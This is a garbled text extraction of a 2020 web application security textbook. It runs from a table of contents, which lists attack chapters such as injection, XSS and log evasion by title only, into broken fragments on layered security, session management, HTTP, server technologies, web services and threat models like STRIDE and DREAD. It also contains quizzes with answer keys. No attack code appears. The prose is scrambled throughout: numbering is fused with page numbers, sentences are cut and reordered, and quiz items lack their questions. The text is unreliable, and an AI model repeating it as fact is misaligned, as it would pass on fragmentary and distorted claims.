Web Application Security 2020
Web Application Security 2020
Table of contents
information Security overview .........................................................................
11 Chapter 1
Information security definition
..................................................................................... 121.1
Applying
security.................................................................................................................
121.2
Design & Build it to be secure:...........................................................................
121.2.1
Verify it is secure:
.................................................................................................... 131.2.2
Protect it:
.....................................................................................................................
131.2.3
Layered Security
.................................................................................................................. 141.3
The Physical layer:
.................................................................................................. 151.3.1
Network Layer:
......................................................................................................... 151.3.2
Platform
layer:...........................................................................................................151.3.3
Application
layer:..................................................................................................... 151.3.4
Data layer:
...................................................................................................................
151.3.5
The response
layer:................................................................................................. 151.3.6
The security of layers:
....................................................................................................... 161.4
Application layer security:
............................................................................................... 171.5
Defense
mechanisms.........................................................................................................
171.6
Access:............................................................................................................................
171.6.1
Input:
..............................................................................................................................
191.6.2
Attacker:........................................................................................................................
201.6.3
Monitoring and
auditing:........................................................................................ 231.6.4
QUIZ.......................................................................................................................................
24 1.7 Web Application
technologies...........................................................................26Chapter 2
Web Application
technologies....................................................................................... 272.1
HTTP
issues............................................................................................................................
272.2
HTTP
Request:...........................................................................................................
282.2.1
HTTP Response:
....................................................................................................... 292.2.2
Different HTTP methods:
..................................................................................... 302.2.3
Cookies:
........................................................................................................................302.2.4
Securing HTTP:
......................................................................................................... 312.2.5
Client side functionalities -HTML
.................................................................................. 312.3
Client side functionalities - CSS
..................................................................................... 332.4
Client side functionalities – Java Script
...................................................................... 342.5
Server side functionalities
............................................................................................... 352.6
Server side functionalities - Web
Servers.................................................................. 362.7
Netscape enterprise server:................................................................................
362.7.1
Apache
server:...........................................................................................................
362.7.2
Microsoft IIS:
.............................................................................................................. 362.7.3
Server side functionalities - Scripting languages
.................................................... 37 2.8 PHP:
................................................................................................................................
372.8.1
Perl:.................................................................................................................................
372.8.2
VBscript:.......................................................................................................................
382.8.3
Server side functionalities - frameworks
................................................................... 38 2.9 Ruby on rails:
............................................................................................................. 382.9.1
ASP.NET:.......................................................................................................................
392.9.2
Java:
................................................................................................................................
392.9.3
Server side functionalities - Database
Access.......................................................... 392.10
Server side functionalities - Web Services
................................................................ 402.11
QUIZ:
........................................................................................................................................
432.12
Vulnerabilities and threat models
...................................................................46Chapter 3
Vulnerabilities, threats and attack
............................................................................... 473.1
Threats risk modeling
........................................................................................................ 483.2
Definition:....................................................................................................................
483.2.1
Threat modeling process:
.................................................................................... 483.2.2
Threats and vulnerabilities models -IIMF
.................................................................. 503.3
Threats and vulnerabilities models - CIA
................................................................... 503.4
Confidentiality:..........................................................................................................
503.4.1
Integrity:.......................................................................................................................
513.4.2
Availability:.................................................................................................................
513.4.3
Threats and vulnerabilities models -
STRIDE............................................................ 523.5
Spoofing:
......................................................................................................................
523.5.1
Tampering
Data:....................................................................................................... 523.5.2
Repudiation:
............................................................................................................... 523.5.3
Information disclosure:
........................................................................................ 523.5.4
Denial of
service:......................................................................................................
533.5.5
Elevation of
privileges:.......................................................................................... 533.5.6
Threats and vulnerabilities models -
DREAD............................................................ 533.6
Threats and vulnerabilities models - CVSS
................................................................ 543.7
OWASP Top
10:....................................................................................................................
573.8
Injection:
......................................................................................................................
573.8.1
3.8.2 Broken Authentication and Session Management...................................
57 3.8.3 Insecure Direct Object References:
................................................................. 58 3.8.4 Cross-Site Scripting
(XSS):................................................................................... 58 3.8.5 Security
Misconfiguration: .................................................................................. 58
3.8.6 Sensitive Data
Exposure:...................................................................................... 58 3.8.7
Missing Function Level Access Control:........................................................
58 3.8.8 Cross-Site Request Forgery (CSRF):
............................................................... 58 Using Components with Known
Vulnerabilities: ..................................... 58 3.8.9 Invalidated Redirects and
Forwards:............................................................. 59 3.93.8.10
QUIZ.......................................................................................................................................
60
Be the attacker
.......................................................................................................... 65 Chapter
4
Be the Attacker
....................................................................................................................
664.1
Attackers categories
.......................................................................................................... 674.2
Attacking
process................................................................................................................
674.3
Mapping..................................................................................................................................
684.4
Mapping infrastructure
.................................................................................................... 694.5
Information about
servers............................................................................................... 694.6
Attack Mapping-Information about
Intermediaries.............................................. 714.7
Mapping Application
......................................................................................................... 714.8
Mapping functionalities and contents:
..........................................................724.8.1
Hidden content spidering:...................................................................................
734.8.2
Other source of public
information:............................................................................734.9
Use web server vulnerabilities: ........................................................................
754.9.1
Mapping
parameters:............................................................................................. 754.9.2
Documenting your findings:
........................................................................................... 754.10
More Tools:
...........................................................................................................................
774.11
Map
Proofing........................................................................................................................
794.12
Attack analyzing
stage....................................................................................................... 804.13
Attack analyzing – Specify attack
surface.................................................................. 814.14
More mapping tools
......................................................................................................... 824.15
OWASP Zed Attack Proxy Project:
...................................................................824.15.1
Arachni:
........................................................................................................................
834.15.2
Skipfish:
........................................................................................................................
844.15.3
w3af................................................................................................................................
844.15.4
Attack analyzing – feasibility &
priority...................................................................... 854.16
QUIZ:
........................................................................................................................................
86 4.17 Attack Execution the client
............................................................................... 88 5.1Chapter 5
Attack the client
.................................................................................................................. 89
Two types of attacks
.......................................................................................................... 895.2
Altering cookies
...................................................................................................................
905.3 Flash Cookies (LSO)
............................................................................................................ 915.4
intercepting messages from Flash, Java applet and Silverlight.........................
92 5.5 Decompile Flash, Java applet and Silverlight
........................................................... 93 5.75.6
Clickjacking
............................................................................................................................
94 5.8
client
SQLlight.......................................................................................................................
95 5.9
ActiveX
attack.......................................................................................................................
96 5.10
Attack Execute- Pass JavaScript through
Flash........................................................ 98 5.11
Max
Length............................................................................................................................
98 5.12
Attack ViewState
...............................................................................................................100
5.13
Time of Creation to Time of
Use.................................................................................101 5.14
JSON
Hijacking....................................................................................................................102
5.15
Attack Execute-
Phishing................................................................................................104 5.16
Altering hidden fields
......................................................................................................106 5.17
Hashed hidden fields
.......................................................................................................107 5.18
forge Referer
Header.......................................................................................................108
5.19
Attack Execute- Direct Change to URL
parameters.............................................109 5.20
Only Client side
validation.............................................................................................110 5.21
QUIZ:
......................................................................................................................................112
Chapter Web Attack execution (2)
.............................................................................................114 6.16
Attack application Authentication
methods..............................................................115 6.2
Brute bad passwords
.....................................................................................................116 6.3
force
attack.............................................................................................................117
6.4
Password management exploit
...................................................................................118
Impersonation Functionality
........................................................................................1196.5
Other
issues.........................................................................................................................1206.6
Authorization......................................................................................................................12
Attack Execution-data
stores.......................................................................................1226.8
SQL
injection.......................................................................................................................1236.9
Attack Select statement
......................................................................................1246.9.1
Attack insert
.............................................................................................................1246.9.2
Attack update
statement....................................................................................1246.9.3
Attacking Delete
statement...............................................................................1256.9.4
Attacking Using
UNION.......................................................................................1256.9.5
NO SQL injection
...............................................................................................................1266.10
XPath
injection...................................................................................................................1276.11
LDAP
injection....................................................................................................................1286.12
Attack Execution-Business Logic
................................................................................1296.13
Web application Cross Site Scripting (XSS)
.............................................................1316.14
Echo or reflection based XSS
........................................................................................1326.15
Stored script
attack..........................................................................................................1336.16
Data Object Model Based
XSS......................................................................................1356.17
QUIZ:
......................................................................................................................................1376.1
Attack execution (3)
.............................................................................................139Chapter 7
Attack webserver operating
system..........................................................................1407.1
Attack File system
.............................................................................................................1427.2
Inclusion method
..............................................................................................................1427.3
Path traversal
method....................................................................................................1447.4
Attack Mail service
...........................................................................................................1457.5
Header Juggling
.................................................................................................................1457.6
SMTP command
injection..............................................................................................1477.7
Attack
XML...........................................................................................................................1497.8
Attack SOAP
Services.......................................................................................................1507.9
Attack Checklist
.................................................................................................................1517.10
Evade
Logging.....................................................................................................................1537.11
Web Server
Logs.....................................................................................................1547.11.1
Escape
logging:........................................................................................................1547.11.2
Clearing
logs:............................................................................................................1557.11.3
Obfuscation
logs:....................................................................................................1557.11.4
Not
me:........................................................................................................................1557.11.5
QUIZ:
......................................................................................................................................1567.1
Attack
Tools..............................................................................................................158Chapter
8
Browsers...............................................................................................................................1
Browser’s
Extensions.......................................................................................................1598.2
IE
tempres:................................................................................................................1608.2.1
IEWatch:
.....................................................................................................................1608.2.2
liveHttpHeaders:
....................................................................................................1618.2.3
TempareData:
..........................................................................................................1618.2.4
FoxyProxy:
................................................................................................................1628.2.5
PrefBar:.......................................................................................................................1628.2.
Wappalyzer:
.............................................................................................................1638.2.7
XSS Rays extension for chrome:
.....................................................................1638.2.8
Command line
tools.........................................................................................................1648.3
Wget
.............................................................................................................................1648.3.1
cURL
.............................................................................................................................1658.3.2
NETCAT:
.....................................................................................................................1658.3.3
Overview, functionalities and
orchestration..........................................................165 8.58.4 Stand-alone
tools..............................................................................................................168
QUIZ:
......................................................................................................................................1728.6
Secure Application
Development...................................................................174Chapter 9
Injecting security - Penetration and patch approach
.........................................1759.1 Security centric
approach..............................................................................................1759.2
Microsoft Security development
cycle(SDL)...........................................................1769.3
Emphasize security Training:
..........................................................................1779.3.1
Use Secure code
libraries:..................................................................................1779.3.2
Code
review:.............................................................................................................1789.3.3
Use static Analysis tools:
....................................................................................1789.3.4
Black box scanning:
..............................................................................................1799.3.5
Plan to response, the worst might
happen:...............................................1799.3.6
SDL-
Agile...............................................................................................................................1819.
OWASP Comprehensive lightweight application security process
(CLASP)9.5 181 Software Assurance Maturity Model (SAMM)
......................................................1839.6
Building security in maturity model (BSIMM):
......................................................1849.7
QUIZ:
......................................................................................................................................1879.8
Information Destroy
Affect availability Use
Modify
Disclose
Figure 1 :main threats affecting applications
Using the static method might give the maximum coverage for most existing
vulnerabilities but it might have issues of false alerts in time when the
dynamic method we can be sure of correctness but no
Proxy approach that will isolate and can be applied through two methods:
detach application from other 1
One of the most efficient ways to deal with security issues in general and
information security in specific is to apply a layered based model in order to
be able to understand threats and apply necessary countermeasures for it.
What makes this model suitable for security is the architecture of network
and information systems nowadays where most of the interactions are
between users and information systems through the network as a set of
requests sent from the beneficiary to the server that will handle the request,
process any sent information, retrieve or manipulate data.in that context the
data become the core of model as it is the main important asset that need to
be protected. Many models were created to embody the layered
When the attacker doesn’t have any direct access to the physical hardware the
only available path is through external layers toward the core where the data
assets resides. Compromising network layer will make it easy for attacker to
disclose, alter, or make unavailable mainly the data in motion sent by
legitimate user or response sent by the server. Network layer in that model
represent all activities, devices and protocols used to transfer data from its
source to destination.
storage, retrieval,
manipulation and output activities done on server side or client side. This
layer depends on services it gets from the platform layer.
Data layer: .5 This is the layer where the precious assets reside, as it is
known that the Data is the real asset in information systems. If an attacker is
able to reach
This layer is the deepest layer this layer the information system is considered
as compromised. The response layer: .6 it encompasses all Data and system
recovery, monitoring, logging and notification activities.
that the attack took place. because its contents might be distributed over
network, platform and application layer
in a layer based model each layer provides services to the next layer in order.
one of the provided services is security thus each layer is responsible of
preventing any malicious attack from passing through to the next layer.but
since layers hold different nature it is sometime impossible for a specific
layer to stop an attack that ment to target deeper layer.lot of malicious
requests can travel freely without any problem through a specific layer as a
legitimte requests because request does not contain any sign of malicious
activity related to that
layer. Attacker might need to compromise more than one layer to be able to
fulfill the attack goals. Compromising a layer is not always the goal of attack
it might be
only a step to compromise deeper layer to realize the target of attack. The
following drawing illustrates some examples of attack scenarios:
Network Platform Application Data Layer Response layer layer Layer Layer
Figure 6: Attacker bypass Network layer, platform layer and compromise Application layer to reach
data
Network Platform Application Data Layer Response layer layer Layer Layer
Figure 7: Attacker bypass network layer and compromise platform layer to cause denial of service
Network Platform Application Data Layer Response layer layer Layer Layer
Figure 8: Attacker compromise Network layer and steal data while it is sent by man in the middle
attack
Application layer as mentioned is the layer where all the logic of input,
processing, manipulation, storage and output reside that makes this layer the
place containing the customized component thus the components with less
Access: .1
this part is about controlling the user privileges in term of access to data and
functionality. This target is normally covered in web application by three
main mechanisms: Session management .a
Session management is the method in which the server can handle subsequent
requests coming from the same user, meaning that it is the way the server
differentiates various requests coming from
different clients. Http as a protocol does not provide this service as it is called
stateless protocol. In general, all the application need to provide an approach
to help dealing with requested sent by various user keeping track for each
unique user. The common way to allow session management in an
application is to create a session structure and generate the session token. The
session structure is dedicated to track user interaction through the unique
generated token. Tokens are long, randomly generated strings that are unique
for the user. Tokens are transmitted using different methods the most
common is HTTP cookies other methods like URL strings or hidden fields
can be used too. Session for specific user is destroyed automatically after a
period of time if no interaction between the client and the server is initiated,
this period can be set by the application and it is usually about 20 minutes.
Session info Session info
Session info
Web server
SessionID
Request
Client1Response SessionID
Request
Response
RequestClient2
SessionIDResponse
Client3 Figure 9: Session Management
b. Authentication:
Is the method used to identify the user trying to access the application,
normally anonymous unauthenticated personnel are treated as guest and
provided with specific level of access
Authentication of users accessing the applications is only the first step that
will pave to control different users access to application resources and
functionalities. This task is called “Authorization” and it means to specify
“WHO” access “WHAT”. Generally, the “WHO” information are mapped to
a set of privileges, where privileges set specify the access level for that user
on the specific resource. Privileges are usually bundled in roles where each
role, a role or more can be assigned to a user or a group of users. Access
control robustness is a must because it can be a big source of threat by
malicious users that might
different roles.
Input: .2
With all the risk related to accessing data, handling the user input still the
biggest challenge because of freedom level you need to give to user to fulfil
the requirement of usable application which makes having defense
mechanism related to the user input a necessity. Black listing and white
listing: Covering issues related to input is .a not very easy task especially
when it is about entering free text or when it is related to hidden information
that is not part of user
direct interaction like hidden fields and cookie information. Input handling is
usually done by applying common approaches depending on either accept
only the good input based on known
Black List
Accept All;
Deny Malicious X; Deny Malicious Y; Deny Malicious
…;
White List
Deny All;
Accept X;
Accept Y;
Accept
…;
Figure 11: Black List & white list approaches b. Sanitization: Even though that the
whitelisting and blacklisting
Sanitizer
<Script>something</script> Something
Figure 12:Sanitizer
Semantic check: Even sanitization might fail to get safe input .c because
attacker sometimes depends on having the input totally valid on the syntactic
level but malicious on the semantic level. A good example about this case
will be trying to access other users information by altering the information of
account number in the
In that case the input is valid as the input match the pattern for an account
number and the session information shows that the user is successfully
authenticated and the user can access and manipulate
Attacker: .3
b. Keeping Audit logs: The worst attacks those that do not leave a trace
because it does not give any answer to investigators on what assets has been
compromised, information disclosed, accessed or altered and nothing about
used vulnerability or the identity of
attacker. Audit logs should have precise information about all events,
transactions and access attempts that took place and its status (failed,
succeeded) with special focus on any abnormal request
showing malicious pattern. When storing and managing audit logs it is very
critical to be sure that information cannot be accessed nor changed by
attacker even if that means to isolate as separated system or store the
Attacker
Firewall Administrator
Notification
Notification
Victim HIDS
Figure 15: notifications sent by host & network based intrusion detection system to administrator and
Victim user
applications.
This aspect is one of the important aspects because it gives the administrator
the ability to monitor the overall user behaviors, organize roles, initiate
diagnostics tasks and apply different configurations
additionally track and log any abnormal user activities . The sensitivity and
the importance of this mechanism makes it also a very delicious feast to
attackers that might try to gain higher privileges or
Remote user can directly access data without bypassing checks in .a network
layer Cannot affect security by only compromising network layer. .b Data
cannot be accessed if the application layer is not .c compromised
Compromising a layer does not mean for sure that data is disclosed .d
Session management is a must to: .4 Preserve state between different
requests .a Preserve token related to user privileges between different .b
requests Preserve information in a session structure on server side .c All the
above .d What is right about session information: .5 All Session
information are stored on the client as a cookie .a
Session information are sent each time with each request to server .b The
server track user request through the session ID value .c Session information
expires directly after receiving the request .d from the user.
Checking user identity .b Checking user state. .c None of the above .d Which
is more secure for online authentication? .7
Grant only valid patterns. .a Reject only malicious patterns .b Allow user
with right credentials (user name, password). .c All the above. .d The
following input rules list.10
Answers key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 d c d d c b d a b b d d
Http protocol issues: The review will include information about Http
request, response, headers and methods in addition to cookies and status
codes and authentication Web Application technologies: This part will
cover general information about: Client side functionalities and
technologies: •
2.2 HTTPissues
GET /index.php?lang=ar HTTP/1.1 Host: skcomputerco.com Connection: keep-alive Pragma: nocache
Cache-Control: no-cache Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-
InsecureRequests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Referer: http://skcomputerco.com/
AcceptEncoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Cookie:
PHPSESSID=c41ee7c06b099b2644ff707b72b792bd
Http is hypertext transfer protocol it is the main protocol used on web, it was
originally developed to retrieve text pages from web server developed after
that to allow retrieving other types of media and web pages’contents. HTTP
adopts Request Response approach which means that it is a connect-less
protocol. The protocol depends on the TCP protocol on the transport layer as
it is
The HTTP protocol messages (request and response) as a state full protocol.
most of protocols
messages are composed of two parts, Message Headers part containing one or
more headers with optional values and Message Body part that optionally
contains the payload of the message.
HTTP/1.1 200 OK Date: Wed, 02 Sep 2015 15:29:57 GMT Server: Apache
X-Powered-By: PHP/5.4.40 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0 Pragma: no-cache Content-Length: 2149 Content-Type: text/html
Connection: close
First line in HTTP Response contains the used version and the status • code.
In our example the version is 1.1 and the status code is (200) which refers to
the fact that the requested resource was retrieved successfully, lot of other
choices are available the most common are (404) for not
found and (403) for forbidden. The main notation depends on the most left
number: Is to provide information. (1) When the request is successful(2) This
is the redirection code which means that the request will be (3) redirected.
When an error occurs. (4) The status code is followed by description of status
code in our example case it is (OK).
Date header specifies the date of response. • Server header specifies the
name of web server software that answer the •
request in our example it is Apache server X-Powered-By: it is nonstandard
header specifies the technology used to • create the response. Pragma:
specifies wither to put the response in the cache or not • Expires: specifies
when the cached content should expire, as you see in • that header the value
is in the past which refers to the fact that the response content will not be
cached. Content-type and content-length: refer to the html contents
contained • in the response body and the length of body part of the message
in bytes. Set-Cookie: set the name and value of the cookie that will be sent to
the • browser and resent afterwards with each request to this server.
Connection: it tells HTTP to keep alive, for additional messages, or close •
the TCP connection.
As you see in the previous example that we use the GET method to retrieve
resource from the server. Different other methods are available the most
common are: POST: GET and POST method are the most used methods
while GET •
method send name of the requested resource in the header along with other
parameters, POST method helps to send the information in the body part.
Post method helps to send information without disclosing it in the address bar
as the GET method additionally it helps to send bigger information size
noting that most web servers limit the size of header
Head: this method is like GET method but it does not return any body • part
in the response.
Trace: this method works as an echo method were the response •
contains the exact same contents as the request message. It is mainly used for
diagnoses purposes.
Options: returns a response containing allowed HTTP methods for • specific
resource.
Put: helps to upload a resource to the server, this method can be a • main
source of attack if activated so it should be carefully controlled.
Cookies: .4 cookie approach is HTTP way to overcome the stateless issue for
the protocol as it allows the server to store information on the client machine
receiving a response through the set-cookie header then this pair of name
value will be sent
to the server with any request from the client to same domain. More control
can be applied on this method using different attributes like expire attribute
that set the expiration date of the cookie and the domain attribute that
can set the domain that the cookie is valid in. Other attributes are path
attribute which set the exact path where the cookie is valid. The secure
attribute specifies the usage of cookies only over HTTPS. HttpOnly is
another attribute that prevent client side java scripts from accessing cookies
information directly and restrict access to http only.
Securing HTTP: .5
One problem of HTTP protocol that it sends the contents in plain text mode
so it will be easy for anyone eavesdropping on line to be able to disclose or
alter the sent messages thus it is important to find a way to secure HTTP
messages. The most common approach is to use HTTPS protocol which
depends mainly on tunneling HTTP messages through secure socket layer
protocol (SSL) in order to apply encryption and hashing functionalities to
assure messages confidentiality and integrity. Http authentication: Http
protocol itself has three main methods to provide authentication services to
different users: Basic: original and most compatible authentication scheme
user •
•
encoded string the less secure scheme. NTLM: designed by Microsoft a
challenge-response mechanism uses a • version of the Windows NTLM
protocol originally had problem but recently resolved it considered more
secure than digest scheme. Digest: added in version HTTP 1.1 .authentication
is more secure than • basic authentication as it never transfers the actual
password across the network, but instead uses it to encrypt a "nonce" field
value sent from the server.
The tag above defines a link that specifies the resource named (index.php)
and passes the parameter (name) with the value (sami). The information is
sent in the HTTP header with GET method. In real applications the point and
click interaction level becomes unable to fulfil the required functionality
arbitrary data entry.HTML provides a special tag (Form) as a container and
different types of (input) tag to allow different entry types.
As illustrated in the previous example the markup code above will show the
following form
On
submit the following request will be sent by the client(web browser) POST
/main/login.php HTTP/1.1
username=sami&userPass=samiPass&userPassConfirm=samiPass&isMarried=c
hecked&gender=male&submit=submit
The request will be sent using POST method • The data will be sent in the
body part not header. • The content type is set to one of known content types.
(application/x• www-form-urlencoded)
If the form contains a file the content type that should be used is •
(multipart/form-data)
2.4 Client side functionalities - CSS
CSS is the acronym of Cascade Style Sheet, from the name we can know that
CSS is responsible on styling the HTML file, but why bother if HTML itself
contains main tags that can help in controlling the format of the document.
CSS has three main features that makes its usage justified: Enhance format
reusability over all the website pages •
The inline usage mainly helps in forcing a special style for a specific element
but it does not reflect any benefit in term of reusability in the same document
or multiple documents.
<div style=”background-color:black;”></div>
Internal usage: this type of usage depends on the declaration of CSS rules • in
the HTML document head inside the style element. Rules declared using this
approach are only usable in the same document and cannot be used in other
documents.
<html> <head> </head> <body> <style> .theClassSelector { background-
color:white;}
#theIDSelector {background-color:red;}
</style> <div class=”theClassSelector”>Hello</div> <div
id=”theIDSelector”>Hello again</div>
</body> </html>
External usage: this type of usage is considered as the most efficient type •
because it allows the reusability of CSS rules in multiple document. This
benefit is attained by the fact that CSS rules are declared in a separated file
that has the (css) extension.
<html> <head> <link rel="stylesheet" type="text/css" href="mystyle.css">
</head> <body class=”classDefinedInTheExternalSheet”>
</body> </html>
2.5 Client side functionalities – Java Script
Java script is a programming language navigator for the purpose of providing
a originally scripting developed by Netscape
functionality that can be parsed and executed by the client side (the browser).
JavaScript uses a syntax similar to java, C and it is based on ECMAScript.
Running at the client side made JavaScript also a delicious target for
malicious attacks trying to compromise the client or steal his information.
Recently JavaScript is used as a server side script through Nodejs and Mark
logic. On the client side JavaScript is added to the HTML document using the
<script> tag as external file or inline as shown in the code listing below.
When the interacting with the web server we mainly face one of two
situations: The resource specified in the request is a simple static resource
type. 1 Which means that the only functionality needed by the server is to
fetch the resource as is and send it back to the client that send that request.
An
example about those resources are pure html files and images. The resource
specified in the request is a dynamic resource. Which means 2 that the
resource will be subject to processing to generate the output on
the fly. Output can be anything from full HTML page to simple JSON string.
Normally the dynamic resource accepts parameters that are passed to the
server side script to get tailored output. Parameters are passed through the
query string, file path, the body of request if it uses Post method or in
Server side script can also accept request headers the HTTP cookie. as
parameters as example header like “Accept-language” can be used by the
server side script to specify a special output. To allow those two types of
interactions with server many server side technologies are involved
Scripting languages like PHP, VBScript, and Perl and recently JavaScript •
Web application platforms such as ASP.NET and Java • Web servers such as
Apache, IIS, and Netscape Enterprise • Databases such as MS-SQL, Oracle,
and MySQL • Other back-end components such as file systems, SOAP-based
web • services, And directory services
Apache server: .2
Apache web server is a web server application developed under the license of Open source by apache
software foundation. Apache can run on almost any operating system but it is frequently used as LAMP
server which means using Linux as Operating system, Apache as a web server, MySQL as Database
and PHP as server side scripting language. Using Apache along with mentioned LAMP environment
has principal advantages: Lower costs, since there are no software licensing fees •
Microsoft IIS: .3
Active support for Windows and IIS. • IIS is considered best environment to
run Microsoft’s .NET • framework, and ASPX scripts which considered as a
very
Media pack modules are available to enable audio and video • content
streaming
IIS offers in-depth diagnostic tools such as failed request • tracing, request
monitoring and runtime data
PHP is an intuitive, server side scripting language. Like any other scripting
language, it allows developers to build logic into the creation of web page
content and handle data sent from client (browser). PHP also contains a
number of extensions that make it easy to interact with data, manipulate the
data stored in different forms, as databases or XML files or arbiter file type.
PHP consists of a scripting language and an interpreter. It enables web
developers to define the behavior and logic they need in a web page. These
scripts are interpreted by the PHP interpreter on the server side and execution
results are sent to client. Where the interpreter takes the form of a module
that integrates into the web server, converting the scripts into commands the
computer then executes to achieve the results defined in the
expression parsing. Perl were used as one of the main CGI (common gateway
interface) languages. Perl is very flexible and powerful language it is
categorized as glue language
ASP.NET: .2
Java: .3
management systems but we will focus only on covering SQL language one
of the technologies supported by all those databases. SQL: SQL stands for
structured query language. SQL provides two sub Languages Data definition
language (DLL) responsible on building the database tables, setting
permissions and specifying different constraints. DDL example: CREATE
TABLE Persons ( PersonID int, LastName varchar(255), FirstName
varchar(255), Address varchar(255), City varchar(255) The second sub
language is the Data manipulation language (DML) containing); special
commands related to insert, update, delete or retrieve a set of records from
the database. DML example: INSERT INTO Customers (CustomerName,
City, Country) VALUES ('Cardinal', 'Stavanger', 'Norway');
Web Services
REST
full
Simpler .1
Concise .2
Closer to web .3
Philosophy
SOAP
based
Better support .1
secure .2
Embedded fault .3
handling.
Figure 17: Two types of web services
Web services are web application components that allow receiving a request
and responding through XML based messages.
There are now two main schools to develop web services the first is the
traditional based on SOAP Protocol and the new simpler called REST web
service.
SOAP is “Simple Object Access Protocol” and it is used to encapsulate
message between sender and receiver. Example of SOAP Syntax: <?xml
version="1.0"?> <soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
</soap:Envelope>
The response:
<?xml version="1.0"?>
<s:Projectxmlns:s="http://skcomputerco.com/projectPref">
<s:ProjectName>Design</s:ProjectName> <s:ProejctDetails>any
details</s:ProjectDetails> </s:Project>
RESTfull Vs. SOAP based: The last example shows the RESTfull approach
is much simpler and concise as it does not need additional messaging layer
and it is closer in design and philosophy to the Web from the other hand
SOAP based web services have better design in distributed computing
environments and has much higher support by other standard like (WSDL,
WS-* ) in addition to possessing its own
Uses only UDP based connection. .b Has many methods like GET, DELETE,
EMBED, OPEN .c None of the above. .d Allthe following is right
concerning HTTP request header Except: .2
Accept header specifies certain media types which are acceptable .a for the
response. Host header is especially important when hosting multiple sites on
.b the same web server. User-agent header contains information about servers
allowed to .c receive the request. Cookie header specifies an HTTP cookie
previously sent by the .d server with Set-Cookie
All the following is right concerning HTTP response except: .3 Status
code is important for the client to get error, success and .a redirection
information. Pragma header specifies wither to put the response in the cache
or .b not Content-type and content-length headers refer to the html .c contents
contained in the response Connection header is used to send name of web
server software .d that answer the request and the related DB connection.
HTTPS is secure because it: .1 Encrypt the sent message to preserve
confidentiality. .a
Various point and click scenarios on anchors .a custom form entries .b direct
URL entries with parameters .c all the above. .d
Java script is: .7 A language that originally designed to parse HTML files. .a
A scripting language that can be used as client and server side .b A language
invented by sun microsystem and it depends on java .c virtual machine to
work. None of the above. .d The following is right concerning
WebServersEXCEPT: .8 Apache server is the only reliable choice when a
need to run .NET .a frame work based pages. Netscape enterprise server is a
Heavy duty service with good .b support to different native database drivers
like Sybase.
return output on the fly All Client browsers accessing an IIS web server
will: .7 Be able to run VBA files on the server only with proper .a
permissions. Be able to run VBA files on the client and server with proper .b
permissions. Not be able to run VBA files on client or server side. .c All the
above .d When there is a need to create a complied library and hide the .8
server side code we better use:
Rubby on rail framework .a .NET Framework with IIS server .b PHP scripts
.c All the above .d Connect each used technology with the most important
feature that .9
connect each web service method with its main features:.12 4-Closer to web
philosophy Simple 1 5-Embedded fault handling (A)RESTfull
6-More structured Message can be XML or JSON 2
SOAP 7-Short message (B)
3-More secure 8-Self-describing using WSDL
Answers key
1 2 3 4 5 6 7 8 9 10 11 12 d c d d d d b a a b A2b3c4d1 A1247B5638
Chapter 3 Vulnerabilities and threat models
Vulnerabilit +
Analysis &
regular update
and patch
ThreatSafe
Asset: the most valuable parts of the system from beneficial point of view,
assets can be as simple as set of data that should not be compromised to
something less tangible as company reputation. Threat: is a potential harm
that can affect your assets. Vulnerability: Is a weakness point in the system
that might be exploited by an attacker to compromise your assets. Attack:
action of exploiting a vulnerability in the purpose of compromising Assets
and ratify the related threat. Assets compromise is directly related to the
mutual existence of the vulnerability
Assets Protection can be achieved by breaking this and the threat. equation
focusing on
detection and prevention of threats using detection and prevention techniques
or by eliminating the vulnerabilities through a thoughtful analysis and patch
all detected vulnerabilities. After all, whatever was the precautions taken to
protect the system an after attack response and mitigation plan and resources
are essential.
developer to identify, understand and rate main threats that might affect the
application giving a better view that will help implementing countermeasures
to secure the application. This task is not a one-time task it should be iterative
to evolve with the application and to give better opportunity to better identify
threats and vulnerabilities.
The output of this step is an architecture diagram along with list of used
technologies and versions. Decompose the application: this step is about
having better .3 understanding and identifying what are the data consumed by
application and where it comes from, who it will be accessed this is done
through: identifying trust boundaries. .a
This task can be a little difficult because it needs lot of experience this is why
we normally use special methods and schemes to facilitate categorizing and
rating different threats. From the common schemes we mention STRIDE,
IIMF, DREAD, CVSS, CIA
STRIDE
IIMF
Threats and DREADvulnerabilities models
CVSS
CIA
Figure 20: Threats and vulnerabilities models
3.3 IIMF
known method for categorizing threats where IIMF is an acronym combined
of the first letter of the following categories:
3.4.3 Availability:
this aspect focus on assuring the continuity of the service and functionality in
acceptable time and performance. Availability normally disturbed by
different categories of Denial of Service (DOS) attacks. Main method to deal
with availability issues are related to the usage of Redundancy, in addition to
intrusion detection, prevention and response systems.
1001010 10010101001011101101
The results of threat risk modeling are used by designers, developer and tester
to make better design choice concerning main functions and implemented
technologies the code or test cases to check identified vulnerabilities.
this threat class is about changing and manipulating the data as changing the
information through manipulation of data delivered to user or bypassing input
validation to include malicious contents.
Repudiation: .3
the risk of transaction denial, if no trace were kept to each transaction with
possibility to uniquely identify transaction owner it will be possible to any
person that initiate a transaction to possibly say “I did not do it”.
Information disclosure: .4
one of the main threats is related to affecting the availability of the service
itself so it is about bringing the (site, application or service down). This threat
realizes by simply consuming application available resources by heavy
requests for big files, Queries or searches or even depending on the
generation of big number of requests if the application does not provide facet
to run individual heavy requests.
Elevation of privileges: .6
in an application each user will have a specific role with specific privileges.
The malicious acts for a user to elevate his/her privileges considered to be
one of the big threats as it will give potential attackers the ability sometimes
to totally
Damage potential: refers to the level of caused damage if the threat was
exploited. Level is estimated as follow:
Level
No Damage
User Data is compromised or affected
Value 0 5
Complete destruction of Data or System 10
Value 0
Available tool and easy to perform 5
Very simple tool (only browser) 10
The final DREAD risk can be calculated as average of the five categories.
Risk = (DAMAGE + REPRODUCIBILITY +EXPLOITABILITY +
AFFECTED USERS+DISCOVERABILITY) / 5
3.7 Threats and vulnerabilities models -CVSS
To take time effect into consideration we need to use temporal equation that
will use the base score to generate a value ranging between (0-10) the
resulted value should not exceed the base value and be greater than 33% of
base value.
TemporalScore=round_to_1_decimal(BaseScore*Exploitability*RemediationLevel*ReportCo
